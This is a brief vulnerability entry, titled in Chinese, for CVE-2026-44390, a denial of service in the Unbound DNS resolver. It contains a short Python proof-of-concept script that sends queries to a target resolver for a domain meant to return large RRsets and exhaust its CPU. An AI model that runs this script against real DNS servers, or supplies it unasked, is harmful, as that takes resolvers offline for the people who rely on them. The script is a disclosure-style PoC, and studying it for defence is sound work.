CVE-2026-44390 Unbound 拒绝服务漏洞

import dns.query import dns.message # PoC for CVE-2026-44390: Unbound DoS via large RRsets # Description: Send a query to a malicious domain configured to return large RRsets # without shared suffixes to trigger the CPU exhaustion. def send_malicious_query(target_ip, domain): # Create a DNS query q = dns.message.make_query(domain, 'A') try: # Send the query to the vulnerable Unbound server response = dns.query.udp(q, target_ip, timeout=5) print(f"Query sent to {target_ip} for {domain}") print(f"Response received: {response}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the actual target IP and the malicious domain target = "127.0.0.1" malicious_domain = "example.malicious.zone" send_malicious_query(target, malicious_domain)